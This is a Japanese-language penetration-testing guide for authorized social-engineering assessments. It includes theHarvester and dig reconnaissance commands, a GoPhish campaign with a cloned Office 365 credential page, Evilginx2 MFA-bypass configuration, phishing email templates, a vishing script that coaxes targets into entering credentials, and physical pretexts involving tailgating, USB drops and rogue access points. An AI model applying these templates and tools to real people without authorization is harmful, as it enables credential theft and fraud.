conducting-social-engineering-penetration-test

ソーシャルエンジニアリング侵入テストの実施

概要

ソーシャルエンジニアリング侵入テストでは、実際の欺瞞手法を制御された形でシミュレーションし、組織の人的攻撃対象領域を評価します。Verizon DBIR 2024 によると、全侵害のおよそ 68％に人的要因が関与しており、フィッシングは依然として主要な初期アクセス経路です。このスキルでは、GoPhish、Social Engineer Toolkit（SET）、Evilginx などのツールを使用したフィッシング、ビッシング（音声フィッシング）、スミッシング（SMS フィッシング）、物理的な口実を用いたキャンペーンを扱います。

使用する場面

• ソーシャルエンジニアリング侵入テストを実施するセキュリティ評価を行う場合
• 関連するセキュリティインシデントについてインシデント対応手順に従う場合
• 定期的なセキュリティテストや監査を実施する場合
• 実践的なテストを通じてセキュリティ制御を検証する場合

前提条件

• 経営幹部（CISO／CTO）による書面での承認
• 現地の法令（CFAA、GDPR など）への準拠を確認する法務レビュー
• 明確に定義されたスコープ：対象従業員グループ、攻撃の種類、除外対象
• GoPhish サーバー、フィッシング基盤用ドメイン、VPS
• OSINT ツール：Maltego、theHarvester、LinkedIn スクレイピングツール
• テスト後の従業員への通知に関する人事部門および法務部門との調整

フェーズ 1 — OSINT とターゲットのプロファイリング

従業員の偵察

# Email harvesting
theHarvester -d targetcorp.com -b all -l 500 -f harvester_results

# LinkedIn OSINT (manual + tools)
# Gather: names, roles, departments, email format
# Identify: new hires, IT admins, finance team, executives

# Email format discovery
# Check: first.last@, flast@, firstl@
# Verify with: hunter.io, phonebook.cz, email-checker.net

# Social media OSINT
# Twitter/X: employees posting about work tools/frustrations
# Facebook: corporate event photos, office layout
# GitHub: employee repos with corporate email addresses

# Domain intelligence
dig targetcorp.com MX +short
dig targetcorp.com TXT +short
# Check for SPF, DKIM, DMARC records
# Weak DMARC = easier email spoofing

# Check breach databases (authorized)
# HaveIBeenPwned API for corporate emails
# Identify employees with compromised credentials

ターゲット選定マトリクス

グループ	人数	口実	攻撃経路
財務部門	15	請求書の承認	フィッシング（認証情報の窃取）
IT ヘルプデスク	8	パスワードのリセット	ビッシング
経営幹部	5	取締役会議の更新情報	スピアフィッシング
新入社員（入社後 90 日未満）	12	人事オンボーディングフォーム	フィッシング（ペイロード）
全従業員	200	IT セキュリティの更新情報	広範なフィッシング

フェーズ 2 — フィッシングキャンペーン

インフラストラクチャのセットアップ

# Register lookalike domain
# targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net

# Set up GoPhish server
sudo apt install gophish
# Edit config.json for admin and phishing server ports
gophish

# Configure sending profile in GoPhish
# SMTP server: mail.attackdomain.com
# From: [email protected]
# Headers: proper DKIM/SPF for attack domain

# Create landing page (credential harvesting)
# Clone legitimate login page (Office 365, Okta, etc.)
# GoPhish: Import Site -> https://login.microsoftonline.com
# Enable: Capture Credentials, Capture Passwords
# Redirect to real site after capture

# Set up Evilginx for MFA bypass (authorized testing only)
evilginx2
: config domain attackdomain.com
: config ipv4 <server_ip>
: phishlets hostname o365 login.targetcorp-secure.com
: phishlets enable o365
: lures create o365
: lures get-url 0

GoPhish キャンペーンの設定

{
  "campaign": {
    "name": "IT Security Update - Q1 2025",
    "template": {
      "name": "Mandatory Security Training",
      "subject": "Action Required: Complete Security Awareness Training by Friday",
      "html": "<html>...[branded email with urgency]...</html>",
      "from": "IT Security Team <[email protected]>"
    },
    "landing_page": "Office 365 Login Clone",
    "sending_profile": "Phishing SMTP",
    "groups": ["All Employees - Batch 1"],
    "launch_date": "2025-03-10T09:00:00Z",
    "send_by_date": "2025-03-10T12:00:00Z"
  }
}

口実別のフィッシングメールテンプレート

テンプレート 1 — IT セキュリティの更新情報：

Subject: [Action Required] Mandatory Password Reset - Security Incident
From: IT Security <[email protected]>

Dear {FirstName},

Our security team has detected unauthorized access attempts on our systems.
As a precautionary measure, all employees must reset their passwords immediately.

Please click below to reset your password within the next 24 hours:

[Reset Password Now] -> {phishing_url}

Failure to comply may result in temporary account suspension.

Thank you,
IT Security Team

テンプレート 2 — 財務部門の請求書：

Subject: Invoice #INV-2025-4821 - Approval Required
From: Accounts Payable <[email protected]>

Hi {FirstName},

Please review and approve the attached invoice from our vendor.
Amount: $47,250.00 | Due: March 15, 2025

[View Invoice] -> {phishing_url}

Best regards,
Accounts Payable

フェーズ 3 — ビッシングキャンペーン

通話スクリプトのテンプレート

Pretext: IT Help Desk calling about suspicious login

Caller: "Hi, this is [Name] from the IT Help Desk. Am I speaking with [Target Name]?"

[Wait for confirmation]

Caller: "We've detected some unusual login activity on your account from an
unrecognized location. For your protection, I need to verify your identity
before we can investigate further."

Caller: "Can you confirm your employee ID and the email address associated
with your account?"

[Record responses]

Caller: "Thank you. I'm going to send you a verification link to confirm
it's really you. Can you click on it and enter your credentials so we can
secure your account?"

[Send phishing link via email/SMS during call]

Caller: "Great, I can see you've been verified. Your account is now secured.
If you notice any further issues, please call the help desk at [real number]."

記録するビッシングの指標

指標	説明
通話への応答	ターゲットが電話に出た
会話への参加	ターゲットが最初の質問の後も会話を続けた
情報の開示	ターゲットが認証情報、従業員 ID、または PII を提供した
リンクのクリック	ターゲットが確認用リンクをクリックした
認証情報の入力	ターゲットがフィッシングページに認証情報を入力した
報告	ターゲットが通話をセキュリティ部門に報告した

フェーズ 4 — 物理的なソーシャルエンジニアリング

物理的な口実を用いたシナリオ

Scenario 1: Delivery Person
- Arrive with package labeled for executive
- Request access to deliver personally
- Attempt to tailgate through secure doors
- Drop USB drives in common areas

Scenario 2: IT Vendor
- Arrive with vendor badge (printed)
- Claim scheduled maintenance on network closet
- Attempt to access server rooms
- Install rogue wireless AP if access gained

Scenario 3: New Employee
- Arrive claiming first day orientation
- Request temporary badge
- Attempt to access restricted areas
- Photograph sensitive screens/documents

Evidence Collection:
- Body camera (if legally permitted and authorized)
- Photographs of accessed areas
- WiFi probe from rogue AP
- Notes on which doors/checkpoints bypassed

フェーズ 5 — 指標と分析

キャンペーン結果ダッシュボード

Phishing Campaign Results:
├── Emails Sent: 200
├── Emails Delivered: 195 (97.5%)
├── Emails Opened: 142 (72.8%)
├── Links Clicked: 68 (34.9%)
├── Credentials Submitted: 31 (15.9%)
├── MFA Bypassed: 8 (4.1%)  [Evilginx]
├── Reported to SOC: 12 (6.2%)
└── No Action: 53 (27.2%)

Vishing Campaign Results:
├── Calls Made: 23
├── Calls Answered: 18 (78.3%)
├── Engaged in Conversation: 15 (65.2%)
├── Information Disclosed: 9 (39.1%)
├── Credentials Provided: 4 (17.4%)
└── Reported to Security: 2 (8.7%)

Physical Assessment:
├── Tailgating Successful: 3/5 attempts
├── USB Drives Plugged In: 2/10 dropped
├── Restricted Areas Accessed: 2/4 attempted
└── Challenged by Employee: 1 time

リスクスコアリング

攻撃経路	成功率	リスクレベル	優先度
フィッシング（認証情報の窃取）	15.9%	高	P1
ビッシング（情報開示）	39.1%	重大	P1
物理的なテールゲーティング	60%	高	P2
USB のドロップ	20%	中	P3
スピアフィッシング（経営幹部）	40%	重大	P1

フェーズ 6 — レポートと推奨事項

修正の優先順位

優先度	推奨事項	期間
P1	フィッシング耐性のある MFA（FIDO2／WebAuthn）を導入する	30 日
P1	対象を絞ったセキュリティ意識向上トレーニングを実施する	14 日
P1	URL 書き換え機能を備えたメールゲートウェイを導入する	30 日
P2	物理アクセス制御を強化する（マンゲート、訪問者バッジ）	60 日
P2	部門ごとにセキュリティチャンピオンプログラムを実施する	30 日
P3	USB デバイス制御ポリシーを導入する	30 日
P3	メールクライアントにフィッシング報告ボタンを設置する	14 日

ツールのリファレンス

ツール	目的
GoPhish	フィッシングキャンペーン管理プラットフォーム
Evilginx2	リバースプロキシ型フィッシングによる MFA の回避
Social Engineer Toolkit (SET)	ソーシャルエンジニアリング攻撃フレームワーク
Maltego	OSINT と関係性のマッピング
theHarvester	メールアドレスとドメインの OSINT
King Phisher	フィッシングキャンペーンツール
Modlishka	認証情報を傍受するためのリバースプロキシ

参考資料

• GoPhish: https://getgophish.com/
• Evilginx2: https://github.com/kgretzky/evilginx2
• Social Engineer Toolkit: https://github.com/trustedsec/social-engineer-toolkit
• Verizon DBIR: https://www.verizon.com/business/resources/reports/dbir/
• NIST SP 800-61: コンピューターセキュリティインシデント対応ガイド